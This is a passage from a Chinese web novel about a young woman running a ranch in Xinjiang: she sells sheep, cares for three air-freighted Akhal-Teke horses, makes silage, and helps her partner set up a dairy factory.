“另一个就是，我家里细毛羊不是要生了嘛，我之后不打算养细毛羊了，我这批母羊还有羊娃子打算一起卖掉，你看你那边有什么老板要嘛？” 在找萨哈烈之前，姚新泉是问了系统的，附近有没有谁家要细毛羊的，她还是更倾向于卖给人家去养着剃毛。 之前那次蓝藻的治疗过程中，好多小家伙也是她抱过安抚过的，肉用确实有点下不去手，她知道自己有点儿矫情了，但事情就是这么个事情，有别的选择的话，还是直接卖羊吧！ 系统给她了几百个人选，但她一问才知道这些人都是零散户，可能一家要一两头这样，人家也不是特意要细毛羊，人家只是不挑品种，啥都可以而已！ 姚新泉实在是不想一家一家的卖，干脆就联系了萨哈烈。 萨哈烈想了想问，“你家羊毛的质量怎么样？” 姚新泉一听就是有门，“走，我带你去看看！” 第156章 几人到了羊圈,姚新泉指着那些羊毛光亮顺滑的细毛羊道，“你看，这毛质不错吧！” 姚新泉家的羊胆子大,她干脆就开了门让萨哈烈直接进去看。萨哈烈凑近摸了摸,确实顺滑,手感也好,而且给人的观感也很不错。 他感慨了起来,“我之前没来你家看过羊,我就怕你家羊都邋里邋遢的”。 不是他非要这样想，主要是大家养羊其实并没有那么讲究，不管是散养还是圈养都这样。 散养的话，羊天天再外面跑,这边灰尘那么大,羊身上自然全是吸附的灰尘,再风吹雨打的，而且羊还会打滚跟蹭树，身上自然不可能真干净。 圈养的话就要求牧民得勤打扫了,又有多少人天天勤快地打扫呢？ 姚新泉家的羊就不一样了,羊毛雪白密实，纤细却又挺有韧劲儿的,品质不错,看上去让人印象也很好。 他点了点头,“行,质量不错，我帮你问问，我手上有个资源，他那边如果愿意要,你这些他都能吃下，不过这个我得跟人家商量商量。” 姚新泉满脸惊喜，“母羊跟羊娃子都要？” 萨哈烈点头，“不过如果要估计也得等你家小羊娃子能吃草了。” 姚新泉笑了，“这都无妨，你可得帮我找个好人家，别让那些羊受苦了！” 萨哈烈失笑，“你这可真是，不过你放心，那人要是要，也是毛用的，以后不敢说，至少得等毛质量不行了再提其他。” 两人谈好细毛羊的事情又回了客厅，姚新泉提起了羯羊的事情，“这时候你那边能收到四五百头羯羊跟牛吗？我是要育肥的，褐牛的话大概一岁半到两岁半这样，体重250公斤到350公斤这样。羊的话阿勒泰羊就行，四到六个月的羯羊，体重大概25公斤到35公斤这样。” 萨哈烈满脸都是自信，“你这不小瞧我了？我不敢说在咱们市，但在咱们县里面做这种活羊买卖的，我绝对是数一数二。那个马老板主要做的是收购了直接卖肉，他在这一块儿也是这个”，他比了个大拇指。 姚新泉苦笑，“我都被他催的不行了”。 萨哈烈大笑，“你年底卖给他那批羊可让他赚肥了，他可不得继续找你？你这半年又都没养！” 姚新泉苦笑，她跟马老 板还有联系，马老板人其实还不错，收羊的价格也都很靠谱，除非自己的杂交羊养出来了，不然她短期是不打算去管羊肉的销售的。那这样的话做生不如做熟，之后还是找他也行。 “你放心吧，我是全市到处跑着收羊的，你什么时候想要小羊羔子都有。行了，你的要求我知道了，我那儿现在量还不够，给我三五天时间我搞上六七百头让你去选，哥人不错吧？” 姚新泉给他续了杯奶茶，系统给她找的这几个老板人都不错，甭管人油不油滑，但是都是老实做生意的人，也不会说是宰熟客，合作的还是比较放心的。 事情谈完了萨哈烈也没多留，姚新泉送萨哈烈离开。 等人走了后姚新泉看着师月江叹了口气，又忍不住笑，“人家要知道咱们这家里有羊不育肥，非要卖出去再买新的回来育肥，都得笑话我，勺子一样！” 师月江拍了拍她的肩膀，“管人家怎么说，牧场是你的，你想怎么做就怎么做，而且未必会亏不是吗？” 事实上，不管现在某个行业的行情怎么样，但是都会有人选择在这个时间点进入这个行业的。 就拿羊毛来说好了，确实因为澳大利亚一下放出了太多的羊毛，导致国际市场上羊毛价格下降。 但是国内受到的影响相比于国外已经少了很多了，毕竟还有过家调控，而且现在最大的羊毛需求方其实是国营毛纺厂，只要国营毛纺厂还在收羊毛，那羊毛的价格就不可能触底。 但当澳大利亚羊毛放完后，羊毛最终还是会回到一个相对来说比较高端的市场上的。 再说了，就算普通羊毛的价格波动大，但是头部那些优质羊毛的价格不可能波动太大了。 因此，师月江认为，哪怕是现在，一样有人前仆后继的进入这个行业的，所以不用愁卖不出去或者卖不上价格。 至于育肥他是没什么经验，但是相信姚新泉不是那种会做傻事的姑娘，顶多是没那么赚钱罢了。 姚新泉听他说话的时候嘴角一直噙着淡淡的笑意，他话音刚落姚新泉没忍住轻轻碰了碰他的嘴角，“这么信我？” 师月江用手背碰了碰嘴角，耳根都红了，脸上却还装出一副如常的模样，“不信你信谁？” 见他这么理所当然姚新泉心里更高兴了，她喜欢别人坚定的信任。 两人牵着手往回走，“我是真不想育肥细毛羊，咱家的细毛羊都是成年的羊，骨架子都固定了，又是才生产完，短期想要育肥，那就需要大量的精料，但是饲料的转化率又不够高。” “另外，细毛羊的肉质可没有羯羊好，而且羯羊都是羊娃子，肉嫩，也卖的上价格。” 她想了想又补充了一句，“我是打算卖给马老板的，之前那一波羯羊他给我的价格很不错，我牧场的名声也算是打出去了，我如果卖了这一波育肥的细毛羊，肉质不好，就算价格低了，但人家说起来可不会说‘她家便宜的羊肉不好吃，贵的羊肉还行’，更大可能是拉低了咱家那些优质羊肉的价格和口碑”，姚新泉的眼里满是野心，“就算是育肥普通羯羊，我家的羊也要是咱们这儿最贵最好的羯羊。” 有时候低端的标签一旦打上就不容易撕下来了，到了那个时候外面的口碑不好，马老板也未必会给自己之前的价格或者更高的价格，得不偿失。 “反正不忍心是肯定的”，特别是那八十头母羊，那时候她恨不得日日蹲在羊圈里生怕它们哪个不好或者孩子不好，它们难受的时候自己也是抱过安抚过的。但更多的还是考虑牧场的发展。 师月江只觉得此时的姚新泉像是会发光，他之前没想过自己会找什么样的爱人，但遇到姚新泉之后他知道了，就是这样的，她的每一面他都很喜欢，更欣赏。 两人又去了羊圈，羊的预产期差不多就是这几天了，白天也没放出去。 马合木提江夫妇本身也是主要帮她喂养这批细毛羊的，现在羊圈养了，两人干脆请了假去看儿子。 姚新泉也没留，主要是羊生产也不怎么要他们帮忙，等羊要生了把艾力大夫叫来，他们两个大夫，再加一个打下手的师月江应该能忙得过来。 “奶制品厂那边机器要到了吗？” 师月江点头，“有几台明天到，我刚好过去把车提回来，你的驾照什么时候考？” 姚新泉头疼，“你这盯得也太紧了吧？” 师月江眼中满是笑意，“不然呢？大哥本来就是给你买的，等下次他再来的时候我们带着他出去转转？” 姚新泉求饶，“知道了知道了，我肯定尽快去学！你哥下次什么时候来？” “不好说，他助理这段时间还没走，就在市里好像在谈什么业务，我也没操心，反正我是啥也不懂，那边听大哥的，这边听你的就成。” 姚新泉斜睨了他一眼，“你现在咋这么会了？” 师月江笑，“听你的还不行啊？行了行了不跟你闹了，我得去山下看看，那几间干的差不多了，要不是我要求得高，昨天应该就收尾了。我去看下没什么问题得话把钱给他结了，再把人带来这边开工？” 姚新泉点头，“那我给你拿钱”，条件反射说完愣了一下，“要吗？” 师月江给了她脑袋一下，“奶厂你又没要股份，那就别出钱，家里房子的话我也要住，你跟我计较这么多啊？” 要新泉讨饶，“行了行了，不掏钱了行吧？大款您赶紧走吧！” 师月江点了点她便离开了，姚新泉又去了羊圈，给羊做了下检查，单胎的最多，双胞胎的次之，三胎的只有二十多头。 说起来也是神奇，五百头羊竟然没有一头胎位不对，小家伙们生命力都超级旺盛，直觉告诉她，她应该是不需要干预太多。 她回屋里舀了一碗酸奶，又给自己加了点儿黄瓜进去，吃得正香突然听到电话响，她赶忙过去接起电话，就听见了师月江无奈的声音，“我哥送了三头阿尔捷金马过来，一家三口。” 姚新泉蒙了，“这么快？不是从他北京那边一个牧场上送过来的吗？” 电话那头顿了顿，“他托运的。” 姚新泉…… “万恶的有钱人，有时候真想跟你们这些有钱人拼了，我长这么大还没坐过飞机呢！” 倒也不是没有飞机，一方面是没有直达的，另一方面买票麻烦，当然了，最大的问题是贵，本地一个月的工资还不够她飞一趟上海，她是疯了才坐飞机呢！ “那什么，马是坐的货运飞机”，师月江低声解释。 姚新泉气笑了，“这是重点吗？行了，马什么时候到？” “大概下午五六点。” 姚新泉…… 行吧，这是空运到她脸上了。 第157章 姚新泉顾不得别的了,赶紧先去把畜棚收拾出来得给它们三个做隔离。 她又跑出去腾了一下位置，把小崽子们和不怎么占位置的小家伙都搬到了娜娜他们睡得屋子里。现在天热了，他们晚上回来大多数还是直接在廊下趴着,很少会进屋里睡。当然了更大原因还是因为屋子就那么大,他们一个个吃得好又天天跑跳的,身体一个比一个健壮,挤在屋子里能把他们热冒烟。 又把马鹿、炽焰还有骆驼以及盘羊、鹅喉羚之类的调到一间畜棚里,给他们一家三口腾出了一间屋子,又给做了消毒还铺上了干净的干草，刚收拾完腰还没直起来就听到了外面的喇叭声，她赶忙小跑出去。 “姚同志是吗，我们是过来送马的！”司机呲着大牙朝她笑,他也是第一回拉这马,听说这可是传说中的汗血宝马啊！ “李助理还有事没过来,但他说是提前给你打过招呼了”。 姚新泉笑着跟他握了下手，“你先往里开”，她把在身边叫的厉害的毛毛轰到了一边去,这小家伙朝车厢里的马叫唤得起劲儿呢！ “我把板子搭上,先让它们下来吧？” 两人把木板搭上让三匹马往下走，两匹成年马还没动,倒是小家伙试探性地从坡上走了下来,两匹马见状也跟着下来了。 三匹阿尔捷金马刚刚经历了一场漫长的飞行,此刻站在陌生的土地上,皮毛上还残留着机舱的闷热与颠簸的痕迹。它们低垂着头，呼吸略显沉重，眼神里透着倦意，但即便如此,它们的美丽依然无法被疲惫掩盖。 那匹公马最为高大，肩颈线条如雕塑般流畅，金色的鬃毛在阳光下泛着琥珀般的光泽。此刻，它的耳朵微微向后贴着，鼻孔因长途运输的紧张而轻轻翕动，但它的姿态依然挺拔，即便困顿也不失威严，甚至姚新泉觉得它看自己的眼神都是“睥睨”。 母马则显得更加沉静，她的体型比公马更小一些，但身形更为柔美，皮毛如丝绸般光滑，在微风中轻轻起伏。她的睫毛低垂，偶尔眨动，竟让人觉得格外温柔。尽管疲惫，她的步伐仍然轻盈，蹄子踏在地上时几乎没有声响，这就是优雅本雅啊！ 小马依偎在母马身旁，它的四肢尚且纤细，皮毛呈现出更浅的金色，像是被阳光浸透的麦穗。它的耳朵不安地转动着，时而竖起，时而耷拉，显然还未完全适应这陌生的环境。它偶尔也会轻轻蹭一蹭母马的脖颈，寻求安慰，但很快又会抬起头，用稚嫩而明亮的眼睛打量四周，流露出一种天真而倔强的生命力。 而且看得出来小家伙的胆子很大，目光落在大狗身上也没有丝毫害怕，倒是好奇居多。 三匹马的呼吸渐渐平稳，但疲惫仍使它们显得沉默。公马偶尔甩动鬃毛，母马轻轻踏着蹄子，像是在安抚自己，也安抚身旁的小马。而小马则时而低头嗅嗅地面，时而抬头望向远方，大大的眼睛看着让人心软软的。 尽管萎靡不振，它们的美丽却丝毫未减，也不怪汉武帝这等君王都那么痴迷于天马，甚至据说还为了求大宛汗血宝马，专门派李广利远征西域。许多文人墨客也纷纷为天马写下赞诗，当然了他们在隐喻什么就另说了。 将司机送走后，姚新泉带着三匹马往畜棚走，到了畜棚后她确定三匹马对自己都没有恶意，反倒是善意居多，所以先给三个家伙做个体检，空运可不是那么简单的事情。 姚新泉给它们做了检查，果不其然，精神萎靡，黏膜干燥、皮肤弹性差，小马身上的体温也稍微有点高，暂时还不算发热，但确实状态不是太好。 这也是没办法的事情，长途运输别说是动物了，就算是人也经常会不舒服的。 北京到这里飞机最起码都六七个小时，难受是必然的。 姚新泉没急着给它们喂药，先给它们调了电解质水，水里滴了点儿她自制的益生菌，然后又去割了些新鲜的牧草过来给它们。 她俯下身摸了摸小马的蹄子，稍微有点肿胀，她又赶紧拿了湿布在冰箱里冻上一会儿后拿出来冰敷消肿。 这一家三口食欲不算太好，但只要没生病状态什么的慢慢调吧！ 等安顿好三匹马后她去给师星野打了个电话，“大哥，你这怎么一下弄了三匹过来？月江给我打电话的时候我都吓了一跳。” 师星野在电话那头轻笑，“这不是想着你牧场大，多给你几匹，以后也能多培育出些好马来。” 姚新泉无奈，“大哥，我是打算养牛跟羊的，家里的马除了专门用来运输的，基本都是阴差阳错弄来的，我之前可没打算养马啊！” 像那几头哈萨克马就是纯运输，皮皮那是因为有灵性所以才养着她让她自己瞎玩。 平安那是意外救下的，炽焰的话还得还给人家，所以牧场上本身没几匹马，她也没打算做马的相关生意。 她爸妈应该也是这样想的。 养马的话一方面投入会大，随便一匹马都不便宜，而且马肉的需求可远远比不上牛羊肉，销售途经也不好找。 再加上养牛羊的技术难度也低，所以压根就没考虑过养马。 师星野安慰她，“别担心，大哥相信你，马和牛羊可以一起养。而且这三匹马可不是普通的马，它们的基因优秀，是有明确的族谱的，回头我把这个带给你，在名马市场上有族谱的马认可度更高，经济价值更高。” 姚新泉…… 我家都没族谱呢！ 姚新泉哭笑不得，“大哥，你这是在给我出难题啊！行了，马我是已经收到了，它们状态不太好，我先给它们调理一下，至于做不做后续繁育的生意再说吧！” 师星野点头，“行，你先忙吧。有什么需要帮忙的，尽管跟我说。” 挂断电话后，姚新泉又去看了一眼三匹马，见它们正在安静地吃草，心里稍微松了口气。她知道，这三匹马的到来，虽然打乱了她的计划，但也带来了新的可能。 她虽然之前从来没考虑过，但是有别的可能性有时候尝试尝试也无妨。 她如果想做高端马的繁育生意，那最缺的一个是繁育用马，一个是繁育技术，另外就是市场了。 但这三块儿里师星野已经给她解决了两部分，技术的话系统课程里也有，她要是不赚这个钱都觉得亏心！ 不过也不急在一时，再说吧，家里羊还没养明白呢! 而且，现在她最紧要的是先把这一波羊照顾好，确保它们健□□产，然后再考虑其他的。姚新泉在心里默默盘算着，决定先把马的事情放一放，等羊的情况稳定下来再说。 她转身回到羊圈，又继续观察着那些即将生产的母羊。家里每一只羊的状态她都了如指掌，若非如此，她也不敢那么轻易放马合木提江他们走。 忙碌的时间总是过得飞快，转眼间就到了傍晚。姚新泉看着夕阳的余晖洒在羊圈上，金色的光芒与阿尔捷金马的鬃毛相映成趣，心中涌起一股莫名的感动。 她知道，自己的牧场正在一步步走向正轨，虽然过程中会遇到各种挑战和困难，但只要用心去做，总会有收获的那一天。 夜幕降临，姚新泉在灯下翻阅着系统给她的关于马匹养殖的书籍，虽然她暂时不打算做马的繁育生意，但多了解一些知识总是没错的。她一边看，一边用笔在书上勾画着重点，偶尔还会停下来思考一番。 师月江回来的时候，看到的就是这样一幅画面。他轻轻地走进屋子，生怕打扰到姚新泉。他看着她专注的样子，心里充满了爱意。他一直都知道，姚新泉是一个有追求、有梦想的人，他也会一直支持她，陪伴她走过每一个艰难的时刻。 他走过去，轻轻拍了拍姚新泉的肩膀，她抬起头，看到他，脸上露出了灿烂的笑容。两人相视一笑，无需多言，彼此的心意都已明了。 吃过晚饭后，两人也不嫌热挤在一起靠在躺椅上看星星。“明天去拉机器？”姚新泉问。 师月江点头，“之前就商量了，厂里除了给大哥、还有专门找他预定的人之外，咱们不做鲜奶生意，主要还是做奶粉跟奶制品生意。” 没办法的事情，太远了。 如果说他哥的朋友客户都在本市的话，那么做鲜奶生意无所谓，但问题是都在内地啊！总不能天天空运吧？ 姚新泉家牛奶品质是好，但也没好到说是少喝一口就短几年寿命，在本身价格就不低的情况下再加上运输的成本，真没必要，还是奶粉方便一点。 至于他们不嫌价格高一定要鲜奶的，那也行，托运呗，只要有钱什么办不成？ 姚新泉嗯了一声，“厂子走上正轨前你主要顾那边吧，牧场这边我自己能行！” 确认这是姚新泉的真心话后师月江也没拒绝，反正牧场真需要他的话 ，就算姚新泉不说，他长了眼睛也能看到的。 第158章 苜蓿晒得差不多了,因为早晨露水又打湿了苜蓿的原因她稍微多晒了一会儿。她也没有专门测量含水量的机器，按要求是需要确保含水量在60%-65%左右。她用手拧茎秆微渗水，叶片也容易折断,估摸着应该是差不多了,这才把苜蓿都耙到了一起,然后堆放到了阴凉的地方。 不能晒得太过了,不然纤维过多,很难压实。 她打了个电话,没多久就有人驾着马车过来了，马车上放着铡草机，是姚新泉请了三个人过来。别说她家里没有铡草机，就算有,她也不可能自己一个人弄完这么多的。 “不用切得太碎,大概两到三厘米就行了”,她大概比划了一下，“差不多食指两个指节的长度，长短差不多就行。” 几人都笑了起来,“我们干活你放心啊！” 家里人多地少的时候,不少人家就会出来打打零工，钱未必有多少,但也能补贴补贴家用。 姚新泉没留在这里监工,她回去煮了一壶奶茶拎了过来,又拿了几个碗摆在一边示意众人自取,她则是用三轮车载了几桶水去浇菜地了。 他们这儿比起南疆许多地方来说已经算是湿润了，但是种菜如果一段时间不浇水那地上都能裂口子，干的。 这块儿菜地开在这里，最开始是考虑到附近有个渠沟,浇地什么的也方便，但后来出了那事儿，虽然说上下游应该已经有人用河里的水灌溉了，但是姚新泉想了想还是决定再等等，所以不忙的时候干脆就从家里带水过来浇地。 水桶没搬下来，她把车厢上放着的水管拿了出来，然后放在桶里灌满了水，确保水管里没有空气后，她捏紧了水管的一头，另一头放在水桶里，然后拉着管子往远处走，到了需要灌溉的地方，她放低了水管，手也松开，水顺着管子便流了出来，也算是虹吸原理吧。 凑活着浇了菜地后，又把豆角摘了不少。豆角这种东西就是要么没得吃，要么怎么吃都吃不完。当然了，其他蔬菜其实也是一样。 她把豆角、黄瓜、花菜、包菜等等都弄了不少回去，放在地里不吃要么就长老了，要么就坏了。 姚新泉把豆角稍微洗了洗然后头尾掐掉在锅里烫上几分钟后捞出放在外头晒着。 又把豇豆、包菜洗净晾干水分后塞到了泡菜坛子里面。 她把泡椒、冰糖、白醋找了出来，又找了个无水无油的干净空罐子，把心里美萝卜削皮，切成块儿后放到罐子里，然后把泡椒、冰糖、白醋都依次放进去，密封上放在阴凉处，大概两三天就能吃，又酸又甜又辣，夏天吃很是开胃。 今天是点点在家玩，姚新泉在处理黄瓜的时候需要把中间的芯剔除，她剔除一根，点点就蹲在她脚边张开嘴等着投喂，看得姚新泉觉得好笑，“你怎么这么喜欢吃黄瓜啊？”把黄瓜杀了杀水分后又腌上了。 随后开始准备午饭，她和了一块儿面，准备擀面条。她家里有个特别大的案板，是专门用来做面食的，擀面条什么的特别好用。 姚新泉力气大，不管是揉面还是擀面做的都好，不过她一般懒得做手擀面，太麻烦了。 她把豆角掰断，又把提前用油炒好的五花肉片端了出来，连油带肉舀了一大勺倒进锅里，随后加入切碎的西红柿，翻炒一会儿后又把豆角放进去，加入调料跟大量的水后盖上盖子焖煮一会儿。 等水开了后，她找了个干净的碗盛出一碗汤，随后把面条铺在锅里，调小火慢慢焖煮。 那边一上午三个人把苜蓿都切碎了，姚新泉给人结了账后又约了辆拖拉机等下午过来压苜蓿。 另一边师月江到了市里后先去一家汽车店把他哥定的车提了回来，是一辆军绿色的皮卡，车斗不小，拉点什么都挺方便的。 提了车后他又赶紧去了火车站，连人带机器都接上后拉着人便往县里走。 把机器安顿好后，师月江带着人回了牧场。此时已是正午，太阳高悬，炙烤着大地。姚新泉在厨房里忙碌着，锅碗瓢盆碰撞发出清脆的声响，与外面的宁静形成鲜明对比。不久，饭菜的香气便从厨房飘散开来，勾起了人的食欲。 她琢磨着要去买一台电风扇了，别的屋子都不用，就厨房里需要，中午做饭真的要人命啊！ 师月江带着人回到牧场时，已是饥肠辘辘。师月江给他指了洗手间的位置后赶紧去了厨房，看到桌上的那一大盆蒸面忍不住笑了起来。 “咋了？嫌我做的不好啊？”姚新泉哼了一声。 师月江笑着解释，“没有，特别好，我们一进牧场就闻到香味了。只是觉得特别神奇，我家之前没用这种不锈钢大盆装过饭。” 姚新泉要用锅炒个花菜，所以干脆就把蒸面都盛了出来。她做的多，家里盘子都装不下，干脆就拿了一个特别大的不锈钢菜盆装面，就这样都冒尖儿了！ 她把花菜盘子放在桌子上，“那你以后可得适应适应，这只是不拘小节，又不是邋遢，盆子我洗的可干净了！” 师月江赶忙讨饶，“是我说错话了，是我不好。” 姚新泉本也没计较这些，又让他把冰箱里放着的拍黄瓜和糖渍西红柿端了出来，又把提前捞出来的泡菜稍微切了切弄了一盘子摆在桌子上，等人进来后便招呼他快来吃饭。 赵群学有些受宠若惊，他不是江星集团的老人，算是师星野在买奶厂设备的过程中发现的人才，拉到北京去培训了小半个月这才过来。 师星野最开始就跟他讲明白了，招他是让他去北疆那边的，不是往北京走，去不去看他自己的选择。 他本身就出身边疆，这么些年也没去内地发展过，所以对此完全没意见。 他听江星的同事说了，这次是去帮小老板还有小老板娘做事，他当时就有点犯怵。 他上一份工作不愿意继续干下去的原因就是老板的一堆七大姑八大姨都要插手公司，并且一个个都觉得自己特别能耐，觉得自己是给他们家打工的就能对自己吆五喝六。自己好像不是他们公司的员工，而是他们家的长工。 至于什么外行指点内行的，这都不算是事儿了！ 一堆破事折腾的他心力交瘁，干脆就收拾包袱滚蛋了，所以不免担心这位是不是又是会给自己添堵的主儿。 但一路上两人虽然没聊太多，他能看得出来，小老板不是个外向的性子，话不多，但是说出来的话却不会无的放矢，看着不难相处，那之后就看小老板娘了。 此时见姚新泉热情招呼他吃饭，桌上的饭跟他所想象的有钱人家天天大鱼大肉鲍参翅肚也不大一样，就是 一大盆让人看了就觉得有食欲的豆角蒸面以及几个家常菜，不算太丰盛，但是他的心好像一下就定下来了。 招呼他吃饭，姚新泉先给他挑了一大碗蒸面，师月江拿过她的碗给她盛了一碗，又给自己盛了一碗。 姚新泉想了想跑去厨房拿了一头蒜过来，“吃吗？” 师月江笑着接了过来熟练剥皮，“吃面不吃蒜，香味少一半，为啥不吃！” 赵群学心里小老板的富豪形象渐渐倒塌，但莫名心里就高兴了起来，“我也要一瓣！” 师月江把姚新泉提前留给小家伙们的饭端了出去放在廊下让他们自己吃，又洗了手回来坐下吃饭。 吃了两口安抚了下自己的肚子后他才介绍，“这位是赵群学，之前在一家奶制品厂做副厂长，厂里的所有工作都有接触，大哥让他来是让他做厂长的，统筹厂里的所有生产。” 姚新泉把嘴里的面咽了下去笑着朝对方点了点头，“那感情好啊！大哥看人的眼光我是很信的，有他这种内行人，咱们也不至于抓瞎了。” 开好一家厂子或者一个公司不是一件简单的事情，当然了，草台班子什么的就无所谓了，但是想正经做一家公司出来就没那么容易了。 师月江自问不属于无能之辈，但是有时候还是不免觉得头痛。 两人商量过后便觉得没必要这样委屈自己，干脆就去找家长。 师星野早就等着他们来找自己了，于是便把提前准备好的人给他派了过来，就是赵群学。 按师星野的说法，将来如果他想自己经营这家厂子的话，那到时候他把人调到北京去，也不会委屈了他。 如果他不想每日被这些琐碎的事情束缚住全部的心力，那就可以让赵群学去操心，他只要会当老板就好。 师月江都没迟疑就告诉他了自己的选择，他只想当甩手掌柜。 还是那句话，他要是真喜欢做生意，那当初为什么不跟在他哥身边做生意？非跑到祖国的边疆来做才有意思？ 还是过好他们自己的生活最重要。 他没太大的理想，至少到目前为止，他就想跟自己喜欢的人每天日出而作日落而息，过着忙碌、充实却又幸福的小日子。 第159章 师月江跟赵群学介绍厂子目前的情况,包括奶源以及未来的销售渠道之类的，赵群学一听之后有些沉默，虽然小老板和小老板娘人不错,但是这可真是个草台班子啊！ 但转念又一想,这不正是证明自己的时刻吗？ 他把自己之前工作的经验以及自己对于奶制品行业的看法都说了出来,又结合他们目前的情况给出了一些建议。 姚新泉在一旁听着,时不时点头表示赞同,她虽然懂养殖,但是对于做生意这块儿还真不算太了解，有这样一个懂行的人在，他们也能少走许多弯路。 师月江对于赵群学的态度也很满意，之前他哥就跟他说过,这个人有能力,但是一直没能得到施展的机会,所以才愿意屈居在他们这个小厂子里。 他之前那份工作虽然是副厂长，但是上面有厂长束缚着他的手脚，下面有各路亲戚阻碍着他的决策,总之他的能力最多被发挥出来了一半。 如今看来,果然不假。 三人商量了一番后决定，既然机器已经到了,那该调试调试,各方面都没有问题就尽快先做出一批成品出来。 既然想打入高端市场,那无论是口味配方还是营养成分都得足够好。除此之外还得看看有没有什么自家产品最拿得出手的地方做宣传打开一条口子。 至于师月江他们说的什么只供给他大哥和大哥的朋友,赵群学完全没把这话当真一回事儿。这都开厂了，眼光自然是要放长远一点，与其求着人家订购你的东西，不如真把产品做出来,让人家抢着订购你的产品。 计划敲定之后，三人便分头行动。 姚新泉继续忙着牧场的事情，师月江则带着赵群学熟悉厂子的环境，找人来调试机器，招工人，同时还得督建那边的正式厂房，同时还得再联系奶源，还得去检测，看看是不是所有人家的牛奶都跟姚新泉家的质量一样，如果质量有区别那就再说。 商定好后师月江本来说让他去小床上睡个午觉，但赵群学已经整装待发了，师月江无奈只能跟着下山。 他之前给对方租了房子，也打扫干净了，还得带对方去安置好。 姚新泉中午则是睡了个午觉，等拖拉机来的时候她也才刚醒一会儿。 家里的青贮窖是专门挑了地方的，特意选在了地势高、排水好的位置盖得，砌的砖窖。 为了防潮窖底铺了塑料布，墙壁也全都夯实了。 窖口设置了一个缓坡，可以方便拖拉机上下。 拖拉机拉了一车厢的碎苜蓿进去倒下，众人拿着耙子摊平，大概厚度在30厘米左右就成，然后撒上一层玉米粉再撒上一层糖水帮助发酵。 师傅再开着拖拉机进去压实，来回几趟确认压实了再出来装苜蓿。 青贮的核心就是厌氧发酵，发酵的主力就是乳酸菌，而乳酸菌只有在厌氧或者无氧的情况下才能相对快速地发酵，压实苜蓿是为了把里面的氧气排出。 压实后继续铺苜蓿、撒玉米粉和糖水，来回几趟将苜蓿全都放进去后赶忙密封发酵，然后再把上面封严实，这就算好了，等大概四五十天之后就算是发酵好了，到时候取用完赶紧关上门，防止二次发酵。 “我们还是第一回干这个，你这是为了养羊是吧？” 姚新泉笑着点头，“这叫青贮，在咱们本地还没推广开来，但是科学家都说这东西好，营养保留的更完整，而且牛羊也爱吃，我先喂喂看。” 司机笑着点头，“回头你要弄得好我家也照着试试”，他家里家底可不厚，不敢随意尝试，但是跟风还是能做的。 姚新泉一点也不介意，“成啊，大家反正都是摸索着来嘛！” 给人结账把人送走后姚新泉先消了毒然后去给小家伙们换药，又给小崽子们喂了奶，给圈养的家伙们补充了些青草，再一看这就八点多了。 师月江还没回来，她也实在是懒得做饭，打算晚上就洗两根黄瓜吃一下拉倒。 那边师月江也忙了一下午，本地会调试机器的人着实不多，没办法只能去找了原来那家奶制品厂的技术员。 对方倒也乐意来赚外快，在来这边的路上本以为肯定只有几个小破机器，走个过场也就完了。但到了之后人愣住了，虽说都是国产机器，但也都是好东西啊！ 储奶罐、过滤器、奶泵这些，只要基本功能过得去一般都没 什么大问题。 但像是杀菌、浓缩、干燥这些，那不同机械设备的效果可完全不一样！ 像是杀菌，他们厂用的还是最早的巴氏杀菌罐，更适合小规模的生产，但是这边的杀菌用的是管式杀菌器，这种机器温度控制比较精准，适合大规模作业。 “这是上海化工机械厂产的吧？”他有点激动地轻轻抚摸着机器，他早都提了有些设备要更新要更新，但人家上面的人就当耳旁风，他也只能破罐子破摔，但看到好机子怎么能不激动？ 虽说这也有些使用痕迹，估计是个二手的，但是就这么一看就知道基本功能没问题，而且当时维护的也还不错，跟新的区别不大。 “还有这个喷雾干燥塔”，他砸吧了下嘴巴，“好像是上海前卫机械厂生产的吧，这算是中小型喷雾干燥塔，适合日产5-10吨奶粉的厂，采用离心式或压力式雾化，结构简单，维护方便，但耗能较高”，想了想还是没忍住吐槽，“但怎么也比我们厂的好！” 当然了，比他们厂更烂也难。 “不过我看你们这机子都旧了，之后更新换代的时候我建议你们考虑黑龙江乳品机械总厂的机子，他们厂主要供的还是咱们北方的客户，机子也更能适应北方的气候。” “还有这杭州轻工机械设计研究所的浓缩设备”，他啧啧了两声，爱不释手地摸着这台机子，“看这机子的使用痕迹应该不超过两年，这跟新的有什么区别？” “好东西啊好东西！你们现在是要调试安装是吗？”他看向两人，得到肯定的答复后也不废话，上手便动了起来。 “我觉得可以把人要过来”，赵群学低声道，师月江自然是知道他什么意思的。 有些人行不行不是一眼能看出来的，但是大多数时候多说两句专业的东西就知道这人肚子里有没有货了！ 这人明明厂里没有那些机械，可他一眼就能认得出来，连厂家都说的分毫不差。 这说明什么？说明人家私下一直在学习在进步啊！ 赵群学点头，本地有多少人才他不知道，但是只要是有，还被他遇到了，那自然是不能放过的。 师月江笑了笑，“回头我找人问问，咱们现在正是用人之际，只要人愿意来，待遇都好说。” 两人说话的功夫，技术员已经把机器检查了一遍，确认没什么大问题，便开始着手调试。 随着机器的运转，不算大的厂房内逐渐热闹了起来。 师月江和赵群学站在一旁，看着技术员熟练的操作，心里都暗暗点头。 有这样一个懂行的人在，他们也能省心不少。当初他还琢磨着要是实在找不到人，看看要不从内地调人来呢！当然了，愿意来的人肯定少，所以也不容易。 调试完成后，师月江又带着赵群学熟悉了一下其他设备的操作，确保他能够独自应对可能出现的突发状况。 忙完这一切，天色已经暗了下来。 师月江看了看时间，已经快到晚饭点了，便提议先去吃饭。 赵群学没有异议，两人便一起离开了厂房。 因为赵群学住在山下，师月江就没再带他上山了，白天把东西都给他买齐了，他自己也会做饭，一个大男人也没什么好不放心的，他转身便回了牧场。 姚新泉正忙着给幼崽们喂奶，看到师月江回来，笑着问，“怎么样？今天机器调试得还顺利吗？” 师月江点了点头，“挺顺利的，那个技术员挺专业的，很快就搞定了。对了，他说咱们有些设备旧了，还建议更新换代的时候考虑黑龙江乳品机械总厂的机子，说是更适合北方的气候。” 姚新泉闻言点了点头，“这次是时间太急了，所以挑的是既有性价比，又离得不远的厂子的机器，选择没那么多。等回头要换的时候再做做调研，看看哪款更合适吧。” 师月江深以为然，“是啊，也是没办法的事情”。 姚新泉又问，“那赵群学怎么样？” “今天一下午跟他相处下来，感觉他还挺靠谱的”，师月江还挺喜欢他的，“他虽然之前的工作不太顺心，但是能力还是有的。而且，我看得出来他是个有上进心的人，只要给他机会，他一定能发挥出自己的价值，我哥看人的能耐真的可以！” 